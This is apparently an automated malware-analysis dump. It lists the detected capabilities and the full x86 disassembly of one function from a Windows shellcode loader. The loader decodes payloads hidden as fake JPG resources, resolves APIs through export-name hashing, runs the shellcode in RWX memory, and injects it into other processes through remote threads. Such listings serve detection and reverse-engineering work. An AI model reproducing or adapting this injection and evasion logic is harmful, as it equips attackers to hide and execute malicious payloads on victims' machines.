Function at 0x4011e0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
mov dword [ebp - 0x2c], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
movaps xmm0, xmmword [0x4031f0]
add esp, 8
mov ebx, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x14], xmm0
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
mov dword [ebp - 0x58], eax
call edi
push str.MFUIUKS1_JPG
push 0
push 0
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call ebx
push esi
push 0
mov dword [ebp - 0x38], eax
call edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
xor edx, edx
xor ebx, ebx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov ecx, dword [edi + 0x3c]
mov dword [ebp - 0x54], edx
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x5c], ecx
mov eax, dword [ecx + 0x1c]
mov esi, dword [ecx + 0x20]
add eax, edi
mov dword [ebp - 0x48], eax
add esi, edi
mov eax, dword [ecx + 0x24]
add eax, edi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x40], eax
cmp dword [ecx + 0x18], edx
jbe 0x4013bf
mov esi, dword [esi + ebx*4]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x39353737
push 0x403168
add esi, edi
push eax
mov edi, esi
call fcn.00401010
movsx edx, byte [esi]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
test edx, edx
je 0x4012e3
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
shl ecx, 5
add ecx, edx
movsx edx, byte [edi]
add ecx, eax
test edx, edx
jne 0x4012d0
cmp ecx, 0x80fa57e1
jne 0x4012fe
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1c], 0x39353737
push eax
lea eax, [ebp - 0x1c]
mov edi, esi
push 0x403168
push eax
call fcn.00401010
movsx edx, byte [esi]
add esp, 0xc
mov ecx, dword [ebp - 0x24]
test edx, edx
je 0x401339
mov eax, ecx
lea edi, [edi + 1]
shl ecx, 5
add ecx, edx
movsx edx, byte [edi]
add ecx, eax
test edx, edx
jne 0x401326
mov edi, dword [ebp - 0x44]
cmp ecx, 0xc7d73c9b
jne 0x401356
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x18], 0x39353737
push eax
lea eax, [ebp - 0x18]
push 0x403168
push eax
call fcn.00401010
movsx edx, byte [esi]
add esp, 0xc
mov eax, dword [ebp - 0x3c]
test edx, edx
je 0x401393
nop dword [eax]
mov ecx, eax
lea esi, [esi + 1]
shl eax, 5
add eax, edx
movsx edx, byte [esi]
add eax, ecx
test edx, edx
jne 0x401380
cmp eax, 0x50c272c4
jne 0x4013ac
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x5c]
inc ebx
mov esi, dword [ebp - 0x60]
cmp ebx, dword [eax + 0x18]
jb 0x4012a0
mov edx, dword [ebp - 0x50]
push 4
push 0x3000
push dword [ebp - 0x38]
push 0
call edx
push str.FILE_SLIV
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
push 0
call edi
push esi
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push str.MFUIUKS23_JPG
push 0
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call edi
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, dword [ebp - 0x50]
push 4
push 0x3000
push edi
push 0
call esi
push 4
push 0x3000
push dword [ebp - 0x18]
push 0
call esi
push dword [ebp - 0x18]
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x28], edi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [ebp - 0x18]
add esp, 8
mov ecx, edi
push 0
call fcn.00401100
mov edi, dword [ebp - 0x58]
add esp, 8
push 4
push 0x3000
push edi
push 0
call esi
push edi
push dword [ebp - 0x2c]
mov ebx, eax
push ebx
mov dword [ebp - 0x24], ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 8
lea eax, [ebp - 0x14]
mov edx, edi
mov ecx, ebx
push eax
call fcn.00401100
add esp, 8
call fcn.00401040
mov dword [ebp - 0x40], eax
call fcn.00401040
mov ebx, eax
call fcn.00401040
mov dword [ebp - 0x44], eax
call fcn.00401040
mov dword [ebp - 0x20], eax
call fcn.00401040
mov dword [ebp - 0x1c], eax
call fcn.00401040
push str.MFUIUKS2_JPG
push 0
push 0
mov dword [ebp - 0x48], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edx, dword [ebp - 0x50]
push 4
push 0x3000
push edi
push 0
call edx
cmp dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
jne 0x40159d
test ebx, ebx
jne 0x40159d
test eax, eax
jne 0x40159d
test ecx, ecx
jne 0x40159d
test edx, edx
jne 0x40159d
cmp dword [ebp - 0x48], ebx
jne 0x40159d
mov ebx, dword [ebp - 0x28]
lea eax, [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x20
push dword [ebp - 0x18]
push ebx
call esi
mov edi, eax
lea eax, [ebp - 0x34]
push eax
push 0x20
push dword [ebp - 0x58]
push dword [ebp - 0x24]
call esi
test edi, edi
mov dword [ebp - 0x2c], eax
mov edi, dword [ebp - 0x4c]
je 0x40156b
push 0
push 0
push 0
push ebx
push 0
push 0
call edi
mov esi, dword [ebp - 0x54]
push 0xffffffffffffffff
push eax
call esi
mov eax, dword [ebp - 0x2c]
jmp 0x40156e
mov esi, dword [ebp - 0x54]
test eax, eax
je 0x401717
push 0
push 0
push 0
push dword [ebp - 0x24]
push 0
push 0
call edi
push 0xffffffffffffffff
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040172a
mov esp, ebp
pop ebp
ret
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x40], esi
je 0x4015ab
mov esi, dword [ebp - 0x40]
jmp 0x4015d3
test ebx, ebx
je 0x4015b3
mov esi, ebx
jmp 0x4015d3
test eax, eax
je 0x4015bb
mov esi, eax
jmp 0x4015d3
test ecx, ecx
je 0x4015c3
mov esi, ecx
jmp 0x4015d3
test edx, edx
je 0x4015cb
mov esi, edx
jmp 0x4015d3
mov eax, dword [ebp - 0x48]
test eax, eax
cmovne esi, eax
push esi
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x401652
push 0x40
push 0x1000
push dword [ebp - 0x18]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x401649
lea ecx, [ebp - 0x38]
push ecx
push dword [ebp - 0x18]
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401649
push 0
push 0
push 0
push dword [ebp - 0x2c]
push 0
push 0
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x401649
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
cmp eax, esi
je 0x401661
test eax, eax
jle 0x401661
mov edi, eax
jmp 0x4016a6
cmp ebx, esi
je 0x40166d
test ebx, ebx
jle 0x40166d
mov edi, ebx
jmp 0x4016a6
mov eax, dword [ebp - 0x44]
cmp eax, esi
je 0x40167c
test eax, eax
jle 0x40167c
mov edi, eax
jmp 0x4016a6
mov eax, dword [ebp - 0x20]
cmp eax, esi
je 0x40168b
test eax, eax
jle 0x40168b
mov edi, eax
jmp 0x4016a6
mov eax, dword [ebp - 0x1c]
cmp eax, esi
je 0x40169a
test eax, eax
jle 0x40169a
mov edi, eax
jmp 0x4016a6
mov eax, dword [ebp - 0x48]
cmp eax, esi
je 0x4016a6
test eax, eax
cmovg edi, eax
push edi
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401717
mov ebx, dword [ebp - 0x58]
push 0x40
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x401710
lea eax, [ebp - 0x2c]
push eax
push ebx
push dword [ebp - 0x24]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401710
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x401710
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040172a
mov esp, ebp
pop ebp
ret